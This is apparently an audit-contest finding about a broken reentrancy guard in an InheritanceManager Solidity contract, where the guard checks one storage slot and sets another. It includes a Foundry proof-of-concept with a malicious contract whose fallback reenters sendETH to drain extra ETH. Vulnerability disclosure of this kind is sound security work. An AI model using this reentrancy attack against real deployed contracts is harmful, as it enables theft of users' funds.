Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Flawed Reentrancy Guard Implementation Due to Inconsistent Storage Slot Usage

Summary

The custom nonReentrant modifier in the InheritanceManager contract uses inline assembly with mismatched storage slots—checking one slot (using tload(1)) while setting another (using tstore(0, 1)). This flaw completely undermines the intended reentrancy protection, exposing sensitive functions to potential reentrancy attacks.

Vulnerability Details

The contract implements a custom nonReentrant modifier with inline assembly. Instead of using the same storage slot for both checking and setting the reentrancy flag, the code reads from slot 1 but writes the flag into slot 0. Because the check does not “see” the flag value set in a different slot, reentrant calls are not prevented. As a result, functions protected by this modifier (such as sendETH) may be reentered by a malicious contract, allowing an attacker to withdraw funds multiple times or manipulate critical state variables.

Impact

Direct Impact: Attackers can exploit this flaw to drain funds or alter state by reentering vulnerable functions during external calls.

Tools Used

Manual code review and inline assembly analysis.

Foundry (Forge) unit tests to simulate reentrancy attacks.

Recommendations

Replace the custom nonReentrant modifier with a battle‑tested solution such as OpenZeppelin’s ReentrancyGuard.

If a custom implementation is necessary, ensure that the same storage slot is used for both checking and setting the reentrancy flag.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
contract MaliciousSender {
InheritanceManager public im;
bool public attackCalled;
constructor(address _im) {
im = InheritanceManager(_im);
}
// Fallback function: when the contract receives ETH, it reenters sendETH.
fallback() external payable {
if (!attackCalled) {
attackCalled = true;
// Reenter sendETH (flawed nonReentrant guard allows this)
im.sendETH(1 ether, address(this));
}
}
/// @notice Initiates the attack by calling sendETH.
function attack() external {
im.sendETH(1 ether, address(this));
}
}
contract InheritanceManagerReentrancyTest is Test {
InheritanceManager im;
MaliciousSender malicious;
address owner = makeAddr("owner");
uint256 public constant INITIAL_ETH = 10 ether;
uint256 public constant SEND_AMOUNT = 1 ether;
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
// Fund InheritanceManager with 10 ETH.
vm.deal(address(im), INITIAL_ETH);
}
/// @notice PoC demonstrating that the flawed nonReentrant guard in sendETH allows reentrancy.
/// The malicious contract is added as the sole beneficiary so that calling inherit() transfers
/// ownership to it. Then, malicious.attack() triggers sendETH, whose fallback reenters and causes
/// a total withdrawal of 2 ETH.
function test_flawedNonReentrantGuardInSendETH() public {
// Deploy the malicious contract.
malicious = new MaliciousSender(address(im));
// Set malicious as the sole beneficiary.
vm.prank(owner);
im.addBeneficiery(address(malicious));
// Warp time to pass the 90-day inactivity threshold.
vm.warp(90 days + 1);
// Call inherit() from the malicious contract so that ownership transfers.
vm.prank(address(malicious));
im.inherit();
// At this point, malicious is owner. Trigger the attack.
vm.prank(address(malicious));
malicious.attack();
// If the nonReentrant guard were effective, only one withdrawal (1 ETH) would occur.
// Due to the flawed guard, the fallback reenters and an additional 1 ETH is withdrawn.
// Expected remaining balance = INITIAL_ETH - 2 ETH.
uint256 expectedBalance = INITIAL_ETH - 2 ether;
assertEq(
address(im).balance,
expectedBalance,
"Attack did not drain extra funds"
);
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.